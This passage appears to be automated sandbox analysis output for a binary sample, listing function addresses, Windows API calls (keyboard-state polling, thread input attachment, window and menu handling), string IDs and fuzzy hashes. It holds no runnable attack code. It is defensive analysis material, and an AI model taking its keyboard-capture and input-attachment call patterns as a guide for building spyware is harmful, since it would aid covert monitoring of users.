                                                                                                                                                  • Instruction Fuzzy Hash: BC21D6716002147BD600AB65CC45DBFB39CEB85324F044A1FF954A73D1DAB8EC0947B9
                                                                                                                                                  Function 004693F0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 87windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                  • SendMessageW.USER32(00000186,00000186,?,00000000), ref: 00469471
                                                                                                                                                  • GetDlgCtrlID.USER32(00000000), ref: 00469483
                                                                                                                                                  • GetParent.USER32 ref: 0046949E
                                                                                                                                                  • SendMessageW.USER32(00000000,?,00000111), ref: 004694A1
                                                                                                                                                  • GetDlgCtrlID.USER32(00000000), ref: 004694A8
                                                                                                                                                  • GetParent.USER32 ref: 004694C1
                                                                                                                                                  • SendMessageW.USER32(00000000,?,00000111,?), ref: 004694C4
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend$CtrlParent$_wcslen
                                                                                                                                                  • String ID: @U=u$ComboBox$ListBox
                                                                                                                                                  • API String ID: 2040099840-2258501812
                                                                                                                                                  • Opcode ID: 2e10f5a1695edfae3743bbe69767f09e04e95ab32c83142982b04f1cb5eb07ed
                                                                                                                                                  • Instruction ID: 434b10a17d45167e777e8ea6e726dd6ee4e01267e4a119798c8aa60e835c5cdc
                                                                                                                                                  • Opcode Fuzzy Hash: 2e10f5a1695edfae3743bbe69767f09e04e95ab32c83142982b04f1cb5eb07ed
                                                                                                                                                  • Instruction Fuzzy Hash: CA21D7756002147BD600BB29CC45EBFB39CEB85314F04492FF984A7291EABCEC0A4779
                                                                                                                                                  Function 0045D83D Relevance: 17.6, APIs: 3, Strings: 7, Instructions: 86COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SetErrorMode.KERNEL32(00000001), ref: 0045D848
                                                                                                                                                  • GetDriveTypeW.KERNEL32(?,?), ref: 0045D8A3
                                                                                                                                                  • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D94A
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ErrorMode$DriveType
                                                                                                                                                  • String ID: CDROM$Fixed$Network$RAMDisk$Removable$Unknown$HH
                                                                                                                                                  • API String ID: 2907320926-41864084
                                                                                                                                                  • Opcode ID: f2537af69be7bdfb8cd077d5fba63d09357e4425d7c4eca9e5473fe3d57dd33a
                                                                                                                                                  • Instruction ID: d4cab332979e247f8c2da9788294718902473fa09eb5ff996f03d25688ce9cbb
                                                                                                                                                  • Opcode Fuzzy Hash: f2537af69be7bdfb8cd077d5fba63d09357e4425d7c4eca9e5473fe3d57dd33a
                                                                                                                                                  • Instruction Fuzzy Hash: C7318B75A083008FC310EF65E48481EB7A1AFC8315F648D2FF945A7362C779D9068BAB
                                                                                                                                                  Function 00467214 Relevance: 16.8, APIs: 11, Instructions: 313COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 004672E6
                                                                                                                                                  • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 0046735D
                                                                                                                                                  • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467375
                                                                                                                                                  • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 004673ED
                                                                                                                                                  • SafeArrayGetVartype.OLEAUT32(CE8B7824,?), ref: 00467418
                                                                                                                                                  • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467445
                                                                                                                                                  • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 0046746A
                                                                                                                                                  • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 00467559
                                                                                                                                                  • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 0046748A
                                                                                                                                                    • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                    • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                    • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                  • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467571
                                                                                                                                                  • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 004675E4
                                                                                                                                                    • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ArraySafe$Data$AccessUnaccess$Exception@8ThrowVartype_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1932665248-0
                                                                                                                                                  • Opcode ID: 2f069d425a14989955c91583bf1eee78d18cf75f4644af0e6fd4452b58d9bd04
                                                                                                                                                  • Instruction ID: 42a0e90c8bf2b482c85e144861ec280134e9fb1dbd9e00a0d693b148f8e5f150
                                                                                                                                                  • Opcode Fuzzy Hash: 2f069d425a14989955c91583bf1eee78d18cf75f4644af0e6fd4452b58d9bd04
                                                                                                                                                  • Instruction Fuzzy Hash: E8B1BF752082009FD304DF29C884B6B77E5FF98318F14496EE98587362E779E885CB6B
                                                                                                                                                  Function 004480F2 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00448182
                                                                                                                                                  • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00448185
                                                                                                                                                  • GetWindowLongW.USER32(?,000000F0), ref: 004481A7
                                                                                                                                                  • _memset.LIBCMT ref: 004481BA
                                                                                                                                                  • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004481CC
                                                                                                                                                  • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 0044824E
                                                                                                                                                  • SendMessageW.USER32(?,00001074,?,00000007), ref: 004482A4
                                                                                                                                                  • SendMessageW.USER32(?,00001057,00000000,00000000), ref: 004482BE
                                                                                                                                                  • SendMessageW.USER32(?,0000101D,00000001,00000000), ref: 004482E3
                                                                                                                                                  • SendMessageW.USER32(?,0000101E,00000001,00000000), ref: 004482FC
                                                                                                                                                  • SendMessageW.USER32(?,00001008,?,00000007), ref: 00448317
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend$LongWindow_memset
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 830647256-0
                                                                                                                                                  • Opcode ID: 45db6e2e50868ce621a7577b0335e91e45f99dc9c013701cc26792922a244152
                                                                                                                                                  • Instruction ID: 69fd08a602074ed3d664547bad3ac5a94a9e6c02d61aa1d07dc3907ec7ad0976
                                                                                                                                                  • Opcode Fuzzy Hash: 45db6e2e50868ce621a7577b0335e91e45f99dc9c013701cc26792922a244152
                                                                                                                                                  • Instruction Fuzzy Hash: 41616F70208341AFE310DF54C881FABB7A4FF89704F14465EFA909B2D1DBB5A945CB56
                                                                                                                                                  Function 0046EA7F Relevance: 16.7, APIs: 11, Instructions: 167windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 0043343D: InvalidateRect.USER32(?,00000000,00000001), ref: 004334BE
                                                                                                                                                  • DestroyAcceleratorTable.USER32(?), ref: 0046EA9F
                                                                                                                                                  • ImageList_Destroy.COMCTL32(?), ref: 0046EB04
                                                                                                                                                  • ImageList_Destroy.COMCTL32(?), ref: 0046EB18
                                                                                                                                                  • ImageList_Destroy.COMCTL32(?), ref: 0046EB24
                                                                                                                                                  • DeleteObject.GDI32(00700000), ref: 0046EB4F
                                                                                                                                                  • DestroyIcon.USER32(00610044), ref: 0046EB67
                                                                                                                                                  • DeleteObject.GDI32(63CA5C8D), ref: 0046EB7F
                                                                                                                                                  • DestroyWindow.USER32(00720065), ref: 0046EB97
                                                                                                                                                  • DestroyIcon.USER32(?), ref: 0046EBBF
                                                                                                                                                  • DestroyIcon.USER32(?), ref: 0046EBCD
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Destroy$IconImageList_$DeleteObject$AcceleratorInvalidateRectTableWindow
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 802431696-0
                                                                                                                                                  • Opcode ID: 294737084f3018da842919bbfa865d3a976cdf3ad66c8c89ec2250206a47d952
                                                                                                                                                  • Instruction ID: 42d633cefbe7d7192e7a113645d0a532909e6831d49db23f2259be933aabe8c6
                                                                                                                                                  • Opcode Fuzzy Hash: 294737084f3018da842919bbfa865d3a976cdf3ad66c8c89ec2250206a47d952
                                                                                                                                                  • Instruction Fuzzy Hash: 17513178600202DFDB14DF26D894E2A77E9FB4AB14B54446EE502CB361EB38EC41CB5E
                                                                                                                                                  Function 00444D52 Relevance: 16.6, APIs: 11, Instructions: 132keyboardCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetKeyboardState.USER32(?,?,?), ref: 00444D8A
                                                                                                                                                  • GetAsyncKeyState.USER32(000000A0), ref: 00444E0F
                                                                                                                                                  • GetKeyState.USER32(000000A0), ref: 00444E26
                                                                                                                                                  • GetAsyncKeyState.USER32(000000A1), ref: 00444E40
                                                                                                                                                  • GetKeyState.USER32(000000A1), ref: 00444E51
                                                                                                                                                  • GetAsyncKeyState.USER32(00000011), ref: 00444E69
                                                                                                                                                  • GetKeyState.USER32(00000011), ref: 00444E77
                                                                                                                                                  • GetAsyncKeyState.USER32(00000012), ref: 00444E8F
                                                                                                                                                  • GetKeyState.USER32(00000012), ref: 00444E9D
                                                                                                                                                  • GetAsyncKeyState.USER32(0000005B), ref: 00444EB5
                                                                                                                                                  • GetKeyState.USER32(0000005B), ref: 00444EC3
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: State$Async$Keyboard
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 541375521-0
                                                                                                                                                  • Opcode ID: d4a73a67db12bad31d9fb613c99c8778707defbe90317bf640d05d8e99de570f
                                                                                                                                                  • Instruction ID: c605e69a62dfc64c618b97cb3a1930d242a0674024be490a091b983f03ece729
                                                                                                                                                  • Opcode Fuzzy Hash: d4a73a67db12bad31d9fb613c99c8778707defbe90317bf640d05d8e99de570f
                                                                                                                                                  • Instruction Fuzzy Hash: 6A41C3646087C52DFB31966484017E7FFD16FA2708F58844FD1C5067C2DBAEA9C8C7AA
                                                                                                                                                  Function 00474335 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 308COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID: HH
                                                                                                                                                  • API String ID: 0-2761332787
                                                                                                                                                  • Opcode ID: 7d4a86683db9a09c2256a2266118b3ebdc040ee5a517fddb499b320ca0848e6c
                                                                                                                                                  • Instruction ID: 1932890218e454eaab518c2d08cf67ea4bcb6b95680f1d85a47b5a5cee1eebd3
                                                                                                                                                  • Opcode Fuzzy Hash: 7d4a86683db9a09c2256a2266118b3ebdc040ee5a517fddb499b320ca0848e6c
                                                                                                                                                  • Instruction Fuzzy Hash: 99A1A1726043009BD710EF65DC82B6BB3E9ABD4718F008E2EF558E7281D779E9448B5A
                                                                                                                                                  Function 004507E7 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 146windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 004508CB
                                                                                                                                                  • SendMessageW.USER32(?,00001036,00000000,?), ref: 004508DB
                                                                                                                                                  • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,00001036,00000000,?,000000FF,?,SysListView32,004848E8,00000000), ref: 004508FC
                                                                                                                                                  • _wcslen.LIBCMT ref: 00450944
                                                                                                                                                  • _wcscat.LIBCMT ref: 00450955
                                                                                                                                                  • SendMessageW.USER32(?,00001057,00000000,?), ref: 0045096C
                                                                                                                                                  • SendMessageW.USER32(?,00001061,?,?), ref: 0045099B
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend$Window_wcscat_wcslen
                                                                                                                                                  • String ID: -----$SysListView32
                                                                                                                                                  • API String ID: 4008455318-3975388722
                                                                                                                                                  • Opcode ID: 1aeeed20face43e167d1a5b6966347104c1855cbe0e780de9d31d79ee612f7fa
                                                                                                                                                  • Instruction ID: 786a3889ee88f98d9b0e9b4b0e1dacf7018a6923f31dd28eeaa3c07ad082d1a6
                                                                                                                                                  • Opcode Fuzzy Hash: 1aeeed20face43e167d1a5b6966347104c1855cbe0e780de9d31d79ee612f7fa
                                                                                                                                                  • Instruction Fuzzy Hash: 17519470504340ABE330DB65C885FABB3E4AF84714F104E1EFA94972D3D6B99989CB65
                                                                                                                                                  Function 00448602 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 105windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • _memset.LIBCMT ref: 00448625
                                                                                                                                                  • CreateMenu.USER32 ref: 0044863C
                                                                                                                                                  • SetMenu.USER32(?,00000000), ref: 0044864C
                                                                                                                                                  • GetMenuItemInfoW.USER32(?,?,00000000,004A83D8), ref: 004486D6
                                                                                                                                                  • IsMenu.USER32(?), ref: 004486EB
                                                                                                                                                  • CreatePopupMenu.USER32 ref: 004486F5
                                                                                                                                                  • InsertMenuItemW.USER32(?,?,00000001,004A83D8), ref: 00448739
                                                                                                                                                  • DrawMenuBar.USER32 ref: 00448742
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
                                                                                                                                                  • String ID: 0
                                                                                                                                                  • API String ID: 176399719-4108050209
                                                                                                                                                  • Opcode ID: 4add02930eb798c2c2cb68413aedc402262f89096725e95a36bc963f45c6c407
                                                                                                                                                  • Instruction ID: 98f94d81d6847d6484dd50bbdc77a0bd9f9f2d632c710d3394220f00cc789bef
                                                                                                                                                  • Opcode Fuzzy Hash: 4add02930eb798c2c2cb68413aedc402262f89096725e95a36bc963f45c6c407
                                                                                                                                                  • Instruction Fuzzy Hash: 86417675604201AFD700CF68D894A9BBBE4FF89314F14891EFA488B350DBB5A845CFA6
                                                                                                                                                  Function 00441561 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 101windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0044157D
                                                                                                                                                  • GetDC.USER32(00000000), ref: 00441585
                                                                                                                                                  • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00441590
                                                                                                                                                  • ReleaseDC.USER32(00000000,00000000), ref: 0044159B
                                                                                                                                                  • CreateFontW.GDI32(?,00000000,00000000,00000000,?,000000FF,000000FF,000000FF,00000001,00000004,00000000,?,00000000,00000000), ref: 004415E9
                                                                                                                                                  • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00441601
                                                                                                                                                  • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00441639
                                                                                                                                                  • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00441659
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 3864802216-2594219639
                                                                                                                                                  • Opcode ID: ea0a3e179a2db4f205f3d0bf310cedd64f619745dcd59731a2847991c922bb1b
                                                                                                                                                  • Instruction ID: 4e191e68d33858d232da06d8f8bca50b2e2c885119a5133d865ec5329e905ca2
                                                                                                                                                  • Opcode Fuzzy Hash: ea0a3e179a2db4f205f3d0bf310cedd64f619745dcd59731a2847991c922bb1b
                                                                                                                                                  • Instruction Fuzzy Hash: 1531C172240344BBE7208B14CD49FAB77EDEB88B15F08450DFB44AA2D1DAB4ED808B64
                                                                                                                                                  Function 0046ECBF Relevance: 15.1, APIs: 10, Instructions: 101COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: InitVariant$_malloc_wcscpy_wcslen
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3413494760-0
                                                                                                                                                  • Opcode ID: 482f3b1f0bd705d72ebf0bcdddfb27694f63f3fe8f528a3bcd533af3ba5d9e97
                                                                                                                                                  • Instruction ID: 77b59fa0745152fd1b6386ccdd9ca850b9b7f4abb66e551d88b584249de3d357
                                                                                                                                                  • Opcode Fuzzy Hash: 482f3b1f0bd705d72ebf0bcdddfb27694f63f3fe8f528a3bcd533af3ba5d9e97
                                                                                                                                                  • Instruction Fuzzy Hash: F83150B2600746AFC714DF7AC880996FBA8FF88310B44892EE64983641D735F554CBA5
                                                                                                                                                  Function 004377B4 Relevance: 15.1, APIs: 10, Instructions: 97threadCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetCurrentThreadId.KERNEL32 ref: 004377D7
                                                                                                                                                  • GetForegroundWindow.USER32(00000000,?,?,?,?,0045FDE0,?,?,00000001), ref: 004377EB
                                                                                                                                                  • GetWindowThreadProcessId.USER32(00000000), ref: 004377F8
                                                                                                                                                  • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 00437809
                                                                                                                                                  • GetWindowThreadProcessId.USER32(?,00000001), ref: 00437819
                                                                                                                                                  • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 0043782E
                                                                                                                                                  • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 0043783D
                                                                                                                                                  • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 0043788D
                                                                                                                                                  • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 004378A1
                                                                                                                                                  • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 004378AC
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2156557900-0
